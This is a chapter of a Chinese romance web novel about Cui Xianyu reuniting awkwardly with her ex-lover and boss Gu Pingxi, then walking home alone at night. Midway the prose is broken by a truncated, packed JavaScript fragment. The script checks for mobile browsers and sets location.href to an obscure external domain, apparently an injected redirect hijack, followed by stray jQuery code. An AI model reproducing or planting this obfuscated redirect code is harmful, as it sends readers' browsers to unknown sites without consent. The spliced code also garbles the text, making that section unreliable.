稿子是许嘉敏写的,但她人不在。
段枫给崔羡鱼发了条私信:【稿子你也改了好几遍,比较熟悉,先去找顾总吧,看看他有什么指示。】
崔羡鱼正想着晾他一会儿,段枫的消息又追了过来,语气软了许多:【就算帮我个忙。】
领导把话说到这份上,再拿捏就显得矫情了。崔羡鱼见好就收,起身去找顾平西。
顾平西的办公室在经管院三楼,走廊最后一间,是有着一扇朱红大门的清净角落。
她轻车熟路地来到门前,抬起手,敲了三下,屋内传来熟悉的声音:“请进。”
崔羡鱼深吸了一口气,拧开门。
“吱呀”一声,大门缓缓打开,敲击键盘的声音传来。顾平西坐在暗红色办公桌前,似乎在回邮件,目光专注地盯着显示屏:“麻烦稍等片刻。”
还是和从前一样,推开门的瞬间,崔羡鱼恍然有种穿越时空的错觉——
9平米的小房间,阳光透过朱红色的窗户洒进来,把房间照得通透明亮,细碎的阴影落在棕色地板上,像一群游弋的小鱼般慢慢滑过。
右侧墙面被一扇巨大的胡桃木落地书柜占得满满当当,里面塞满了四四方方的书籍,天文地理历史人文全都有,他爱惜书本,所以大部分书卷都光洁崭新。正中间则是一张老式的猪肝红书桌,除了一只台式电脑、一只深棕色笔筒,便是几盆旺盛的绿植,摆放得对称整齐。
顾平西就坐在书桌前,温和的阳光落在他肩头,勾勒出清瘦的轮廓。他带着金丝镜框,和这些沉默的书本还有古朴的窗台在一起,整个人像被镌刻在旧时光里的胶片中。
崔羡鱼没有打扰他,来到书柜对面的小沙发坐下,静静出神。
这是她回国以来,第一次在公司以外的地方看到顾平西。
实际上这才是她熟悉的顾平西,沉静、专注、认真,身上满是书卷气,不是那个在金融公司西装革履的精英。
就这样,五年前的一切如同潮水,慢慢地翻涌到她的脚下。她曾躲在那扇朱红色的木门后吓他一跳;她曾在这个沙发上睡午觉,等他下课一起回家;她买过一整盒猫猫盲盒强迫他摆在猪肝红书桌上,说要改造他的老干部风工位;偶尔她会胆大妄为地坐他的大腿上,他会严肃地告诉她不可以在学校这样,她则不以为然地亲上他的嘴唇,打断他那些教训人的话。
他越害羞,她越肆无忌惮。
在可现在,那张桌子又恢复了老干部风格,可爱的猫咪公仔都消失了,连同他对她的爱。
崔羡鱼突然有些后悔过来了。
她没办法在这么熟悉的环境里和他假扮陌生人。
一分钟后,顾平西发完了邮件,抬起头看到是她,目光错愕了一瞬。下一秒就被他压了下去,只剩公事公办的平静。
“抱歉,刚才有封邮件比较着急,久等了。”
崔羡鱼起身,来到他办公桌前,视线扫过桌上那盆熟悉的虎皮兰,恍惚间竟觉得像是回到了几年前。
“稿子是你写的?”他又开口。
“不是,”崔羡鱼回过神,目光落在他眉间:“初稿许嘉敏写的,我负责后续的修改。”
“稿件还不错,但是结尾高度不够,需要略微调整,”他扶了扶眼睛,鼠标卡擦打开讲话稿,迅速把稿件浏览了一遍:“但学校这边的对接人说你们不愿意改?我想问下原因。”
这倒不是兴师问罪,手下的人工作推进不顺利,他确实需要了解一下情况。如果有困难,他或许可以帮忙解决。如果有难点,他也会告诉她该怎么做。
可是崔羡鱼却敏锐地察觉到一个事实——她被打小报告了。
“今天我在活动现场踩点,没办法及时看手机,也没办法第一时间回复群消息,所以不是我主观不愿修改,只是客观情况不允许。”她讨厌被误会,微微蹙眉:“其次,我是企划部的人,项目分工里并没有这项工作分给我,所以这个锅我不背。”
顾平西瞥了她一眼,语气淡得没一丝波澜:“这是工作场合,已经接了就要好好做。我关心的是工作结果,不是你们踢皮球的过程。”
嚯,这个时候他可真像个领导了。
领导们总是说,工作场合希望大家就事论事,别把私人情绪带到工作里来。可她是个人啊,又不是螺丝钉,凭什么要她摒弃人性呢?
一瞬间,崔羡鱼很想冷不丁问他——你是不是站在李茜汝那边?你知不知道她什么都不做只会甩活?
你凭什么要用那种就事论事的语气跟我说话,你确实是我的上司,但你只是我的上司吗?
可下一秒,顾平西话锋一转,声音里多了点缓和:“但我刚刚才发现今天是周六,是你们的休息日。所以我已经把讲话稿改好了。”
崔羡鱼抿着嘴唇,没有接话,只是点点头。
满怀的委屈和不服被这句话轻轻一戳,轻飘飘地散开了。但他看自己的眼神眼神克制疏离,像一个上司在看自己的下属,让她心里依旧堵得发慌。
顾平西毫无察觉,继续道:“我这边把讲话稿直接发到你邮箱,你和许嘉敏可以对比一下我修改的地方,参考学习。”
某一瞬间,他余光扫到崔羡鱼垂着的眼睫,忽然想起从前。从前她要是觉得受了委屈,当场就得不计后果地发泄出来,绝不会憋在心里折磨自己。
可她如今却安安静静的,半晌才应了声:“好的,谢谢顾总。”
说罢便转身,从他的办公室离开了。
……
大门关上的瞬间,崔羡鱼才寻回自己的呼吸,如同溺水般用力地吸了几口气。
走廊里夕阳正好,金灿灿的余晖铺在地板上,像是一处波光粼粼的湖面,给这栋百年老建筑,裹上一层温柔的梦幻滤镜。
她踩着高跟鞋,穿着窈窕时髦的衣服,与这里朴素的一切都格格不入。
就像之前他们在一起的时候,所有人都在反对,跟她说崔大小姐,顾教授和你不是一个世界的人,你们两个长久不了的。
那时候她年轻气盛,从不相信旁人的风言风语,爱一个人如同飞蛾扑火。
事到如今,她故地重游,却突然发现五年实在是太久,很多事情已经来不及弥补。
可要是她偏要强求呢?
崔羡鱼想起刚才他冷冰冰的眼神,突然间勾起唇角,笑了笑。这才对嘛,这才是顾平西,高傲的、不肯低头的顾平西,与她格格不入的顾平西,不爱她的顾平西。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490587|185838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>心底的酸楚疯狂积蓄,像是一座愠怒的火山,喷发的瞬间已经化作磅礴的愤怒和不甘。她怎么会被他的冷漠打到?她永远不会轻易认输。
他不爱她,那她就想尽办法、不择手段,让他再次爱上她。
因为她想要他,从始至终,这个狂热的念头就没有变过。
这个念头支撑她在美国咬紧牙关坚持下去,支撑她克服重重禁锢回到国内,现在她遇到了一点点小困难,也合理,向来是好事多磨。但是放弃,是绝对不可能的,她死也要和顾平西纠缠不休。
崔羡鱼走出院系大门的瞬间,一束夕阳刚好迎面打在她脸上,像是一个万众瞩目的舞台亮起了聚光灯,充满激情的乐章即将奏响。
这是重逢以来,顾平西和她的第一次对话。
她其实不该这么走掉的,她当时就该果断回击,在他说出那些公事公办铁面无私的话之后,狠狠咬上他的唇角,让他明白他们之间的关系永远不可能只是上司和下属,永远都不会那么简单。
……
下午六点多,踩点结束,项目组张罗着去附近聚餐,崔羡鱼没有去。
秦秋池的心理咨询室就在附近,她过去参观了一下。咨询室的生意还很红火,大部分的客户都是鸡娃的中学家长,焦虑的问题无非是孩子叛逆、孩子打架、孩子不肯好好学习。
崔羡鱼本来想等她闲下来一起去吃个晚饭,结果吱哇乱叫的小孩子太多,她实在呆不下去,在茶水间坐了不到一个小时就走了。
临走前,秦秋池给了她一个小羊玩偶。
“这是什么玩意儿?”
手感还不错,毛茸茸,软乎乎,像是在摸一片新嫩的草地。秦秋池认真地打量了她几眼,才开口:“安抚玩具。你觉得压力大的时候,可以抱一抱它。”
崔羡鱼才不明所以,她哪里压力大?下午刚刚和李茜汝还有顾平西对线,活脱脱一个勇猛的女战士,心情亢奋极了:“我不用这东西,你给那群小朋友吧。”
“给你就拿着。”
好友懒得和她解释,这个人嘴比石头硬,等她发现不对劲的时候,就太迟了。
于是毛绒小羊被强硬地塞进穿着西装套裙的崔羡鱼怀里。这个时髦干练的女人不得不带着这只小东西一起回家,画面十分突兀,任谁都以为这是她买给她孩子的。于是她把小公仔团了团,使劲儿塞进了包里。
从海城大学附近回家要一个多小时。崔羡鱼出了地铁的时候已经夜幕低垂,几颗孤苦伶仃的星子挂在天上。
她踩着高跟鞋,“哒哒哒”地一路走回家。
海城人不怎么过夜生活,九点多的居民区已经陷入沉寂,空荡荡的街道上,只能零星看到几个加班的上班族,失魂落魄地骑着共享单车。
小区距离地铁站有五百多米,往常崔羡鱼都爱走着回去,权当锻炼身体。可今天走了没几步,她突然想起前几天在附近游荡的恶心男人,心里顿时有些发毛。
要不然还是扫辆单车吧。
共享单车停在马路边,巨大的行道树笼罩住头顶的月光,看起来像一团黑色的浓雾。
她走到单车旁,打开手机准备扫码,余光却瞥见身侧的地面上,突然多了一双破烂的男士球鞋。